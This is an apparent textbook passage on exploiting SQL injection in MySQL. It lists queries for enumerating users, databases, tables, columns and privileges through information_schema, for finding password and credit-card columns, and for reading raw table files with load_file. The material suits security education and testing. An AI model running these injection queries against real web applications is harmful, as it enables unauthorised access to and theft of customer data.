Exploiting SQL Injection : Enumerating the Database Schema (part 2) - MySQL

MySQL

Also on MySQL, the technique for enumerating a database and extracting its data follows a hierarchical approach: You start extracting the names of the databases, and then proceed down to tables, columns, and finally the data itself.

The first thing you are usually interested in is the name of the user performing the queries. You can retrieve this with one of the following queries:

SELECT user();
SELECT current_user;

To list the databases that are present on the remote MySQL installation, you can use the following query, if you have administrative privileges:

SELECT distinct(db) FROM mysql.db;

If you don't have administrative privileges, but the remote MySQL version is 5.0 or later, you can still obtain the same information using information_schema, by injecting the following alternative:

SELECT schema_name FROM information_schema.schemata;

Querying information_schema allows you to enumerate the whole database structure. Once you have retrieved the databases, and you have found one of them that looks particularly interesting (e.g., customers_db), you can extract its table names with the following query:

SELECT table_schema,table_name FROM information_schema.tables WHERE
   table_schema = ‘customers_db’

If you prefer to obtain a list of all the tables of all databases, you can simply omit the WHERE clause, but you might want to modify it as follows:

SELECT table_schema,table_name FROM information_schema.tables WHERE
  table_schema != ‘mysql’ AND table_schema != ‘information_schema’

Such a query will retrieve all tables except the ones belonging to mysql and information_schema, two built-in databases whose tables you are probably not interested in. Once you have the tables it is time to retrieve the columns, again avoiding all entries that belong to mysql and information_schema:

Code View: Scroll / Show All

SELECT table_schema, table_name, column_name FROM information_schema.columns
  WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

					  

This query will provide you with a comprehensive view of all databases, tables, and columns, all packaged in one nice table, as you can see in the following example:

mysql> SELECT table_schema, table_name, column_name FROM
  information_schema.columns WHERE table_schema != ‘mysql’ AND
  table_schema != ‘information_schema’;

+	--------------	+	---------------	+	---------------	+
|	table_schema	|	table_name	|	column_name	|
+	--------------	+	---------------	+	---------------	+
|	shop	|	customers	|	id	|
|	shop	|	customers	|	name	|
|	shop	|	customers	|	surname	|
|	shop	|	customers	|	login	|
|	shop	|	customers	|	password	|
|	shop	|	customers	|	address	|
|	shop	|	customers	|	phone	|
|	shop	|	customers	|	email	|
<snip>
+	--------------	+	---------------	+	---------------	+

As you can see, if your Web application allows you to perform a UNION SELECT, such a query gives you a full description of the whole DBMS in one simple shot! Alternatively, if you prefer to go the other way around and look for a table that contains a specific column you are interested into, you can use the following query:

Code View: Scroll / Show All

SELECT table_schema, table_name, column_name FROM information_schema.columns
  WHERE column_name LIKE ‘password’ OR column_name LIKE ‘credit_card’;

					  

and you might obtain something such as this:

+	--------------	+	---------------	+	---------------	+
|	table_schema	|	table_name	|	column_name	|
+	--------------	+	---------------	+	---------------	+
|	shop	|	users	|	password	|
|	mysql	|	user	|	password	|
|	financial	|	customers	|	credit_card	|

2 rows in set (0.03 sec)

information_schema does not contain only the structure of the database, but also all the relevant information regarding the privileges of the database users, and the permissions they have been granted. For instance, to list the privileges granted to the various users you can execute the following query:

SELECT grantee, privilege_type, is_grantable FROM
    information_schema.user_privileges;

Such a query will return output similar to the following:

+	---------------------	+	-------------------------	+	--------------	+
|	garantee	|	privilege_type	|	is_grantable	|
+	---------------------	+	-------------------------	+	--------------	+
|	‘roo’@‘ocalhost’	|	SELECT	|	YES	|
|	‘roo’@‘ocalhost’	|	INSERT	|	YES	|
|	‘roo’@‘ocalhost’	|	UPDATE	|	YES	|
|	‘roo’@‘ocalhost’	|	DELETE	|	YES	|
|	‘roo’@‘ocalhost’	|	CREATE	|	YES	|
|	‘roo’@‘ocalhost’	|	DROP	|	YES	|
|	‘roo’@‘ocalhost’	|	RELOAD	|	YES	|
|	‘roo’@‘ocalhost’	|	SHUTDOWN	|	YES	|
|	‘roo’@‘ocalhost’	|	PROCESS	|	YES	|
|	‘roo’@‘ocalhost’	|	FILE	|	YES	|
|	‘roo’@‘ocalhost’	|	REFERENCES	|	YES	|
|	‘roo’@‘ocalhost’	|	INDEX	|	YES	|
<snip>
+	---------------------	+	-------------------------	+	--------------	+

If you need to know the privileges granted to users on the different databases, the following query will do the job:

SELECT grantee, table_schema, privilege_type FROM
  information_schema.schema_privileges

Unfortunately, information_schema is available only in MySQL 5 and later, so if you are dealing with an earlier version the process will be more difficult, as a brute-force attack might be the only way to determine the names of tables and columns. One thing you can do (however, it's a little complicated) is access the files that store the database, import their raw content into a table that you create, and then extract that table using one of the techniques you've seen so far. Let's briefly walk through an example of this technique. You can easily find the current database name with the following query:

SELECT database()

The files for this database will be stored in a directory with the same name as the database itself. This directory will be contained in the main MySQL data directory, which is returned by the following query:

SELECT @@datadir

Each table of the database is contained in a file with the extension MYD. For instance, here are some of the MYD files of a default mysql database:

tables_priv.MYD
host.MYD
help_keyword.MYD
columns_priv.MYD
db.MYD

You can extract the contents of a specific table of that database with the following query:

SELECT load_file(‘databasename/tablename.MYD’)

However, without information_schema you will have to brute-force the table name for this query to succeed. Also, note that load_file only allows you to retrieve a maximum number of bytes that is specified in the @@max_allowed_packet variable, so this technique is not suited for tables that store large amounts of data.